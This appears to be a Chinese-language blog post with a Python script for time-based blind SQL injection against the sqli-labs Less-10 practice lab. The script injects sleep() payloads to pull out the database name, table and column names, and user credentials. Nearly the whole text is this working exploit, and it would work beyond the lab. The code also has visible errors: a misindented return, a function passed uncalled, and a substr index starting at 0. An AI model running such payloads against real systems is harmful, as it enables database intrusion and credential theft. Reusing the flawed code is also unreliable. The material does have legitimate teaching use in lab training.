Bootstrap

sqli-labs布尔盲注和时间盲注相结合的脚本实现

import time
import requests
# 定义一个变量 用于存放cookie值
HEADER = {"cookie":"Idea-69a0360c=059291e0-9967-4fe4-bb5e-2524cdcf69d4; security_level=0"} 
BASEURL = "http://localhost/sqli-labs-master/Less-10/?"
# 定义一个函数 用于获取数据库的长度
def get_database_length() -> int:
    # 定义一个变量 用于储存数据库的长度的
    length = 0
    # 定义一个循环 用于判断数据库的个数
    for i in range(100):
        # 定义一下sql语句
        url = BASEURL + "id=1\" and length(database())={} and sleep(2)--+".format(i)
        # 获取一下当前的时间
        start_time = time.time()
        # 执行sql语句
        requests.get(url, headers=HEADER)
        # 条件判断一下
        if time.time() - start_time > 2:
            print("这个数据库的长度为{}".format(i))
            length = i
     return length
# 定义一个函数 用于获取数据库的名称
def get_database_name(length):
    # 输出提示语
    print("数据库名称为:")
    # 定义两层循环 外层为数据库的个数 内层为判断数据库的ascii码值 一般为33~128
    for i in range(length):
        for j in range(33, 128):
            # 定义一下sql语句
            url =  BASEURL + "id=1\" and ascii(substr((database()),{},1))={} and sleep(2)--+".format(i + 1, j)
            # 获取一下当前时间
            start_time = time.time()
            # 执行一下sql语句
            requests.get(url, headers=HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print(chr(j), end="")
# 定义一个函数 用于获取表格的数量
def get_table_count() -> int:
    # 定义一个变量 用于获取表格个数
    count = 0
    # 定义一层循环 为表格个数
    for i in range(100):
        # 首先完善一下sql语句
        url = BASEURL + "id=1\" and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2)--+".format(i)
        # 定义一个变量 用于记录当前时间
        start_time  = time.time()
        # 执行sql语句
        requests.get(url, headers = HEADER)
        # 条件判断他一下子
        if time.time() - start_time > 2:
            print("当前数据库下的表格个数为{}".format(i))
            count = i
    return count
# 定义一个函数 用于获取每个表格的名称个数
def get_each_table_length(count):
    # 定义一下两层循环 外层循环为表格个数 内层循环为表格名称个数
    for i in range(count):
        for j in range(100):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i, j)
            # 获取一下当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print("第{}个表格的名称个数为{}".format(i + 1, j), end='  ')
                get_each_table_name(i, j)
        print("")
# 定义一个函数 用于获取每个表格的名称
def get_each_table_name(index, length):
    # 定义两层循环 外层循环为表格名称个数 内层循环为ascii码值
    for i in range(length):
        for j in range(33, 128):
            # 定义一下sql语句
            url = BASEURL + "id=1\" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
            # 获取当前的时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 条件判断他一下子
            if time.time() - start_time > 2:
                print(chr(j), end='')
# 定义一个函数 用于获取users表格中的字段个数
def get_column_count() -> int:
    # 定义一个变量 用于获取字段数目
    count = 0
    # 定义一层循环 用于获取字段个数
    for i in range(100):
        # 定义一下sql语句
        url = BASEURL + "id=1\" and (select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2)--+".format(i)
        # 获取一下当前时间
        start_time = time.time()
        # 执行sql语句
        requests.get(url, headers = HEADER)
        # 用一下条件判断语句
        if time.time() - start_time > 2:
            print("users表中的字段数目为{}".format(i))
            count = i
    return count
# 定义一个函数 用于获取每个字段的名称个数
def get_each_column_length(count):
    # 定义两层循环 外层循环为字段个数 内层循环为字段名称的个数
    for i in range(count):
        for j in range(100):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2)--+".format(i, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print("第{}个字段的名称个数为{}".format(i + 1, j), end='  ')
                get_each_column_name(i, j)
        print("")
# 定义一个函数 用于获取每个字段的名称
def get_each_column_name(index, length):
    # 定义两层循环 外层循环用于获取字段名称的个数 内层循环用于获取ascii码值
    for i in range(length):
        for j in range(33, 128):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))={} and sleep(2)--+".format(index, i + 1, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print(chr(j), end='')
# 定义一个函数 用于获取用户名和密码信息
def get_username_and_password():
    # 定义两层循环 外层循环为字段个数 内层循环为ASCII码值
    for i in range(100):
        for j in range(33, 128):
            # 定义一个sql语句
            url = BASEURL + "id=1\" and ascii(substr((select concat(username, password) from users limit 0,1),{},1))={} and sleep(2)--+".format(i, j)
            # 获取当前时间
            start_time = time.time()
            # 执行sql语句
            requests.get(url, headers = HEADER)
            # 制造一个条件判断语句
            if time.time() - start_time > 2:
                print(chr(j), end='')
if __name__ == '__main__':
    get_database_length()# 调用获取数据库长度的函数
    get_database_name(get_database_length())# 调用获取数据库名称的函数
    get_table_count()# 调用一下获取表格个数的函数
    get_each_table_length(get_table_count)# 调用一下获取每一个表格的名称个数函数
    get_column_count()# 调用一下获取字段个数的函数
    get_each_column_length(get_column_count())# 调用一个获取每个字段名称个数的函数
    get_username_and_password()# 调用一下获取用户名和密码信息的函数

;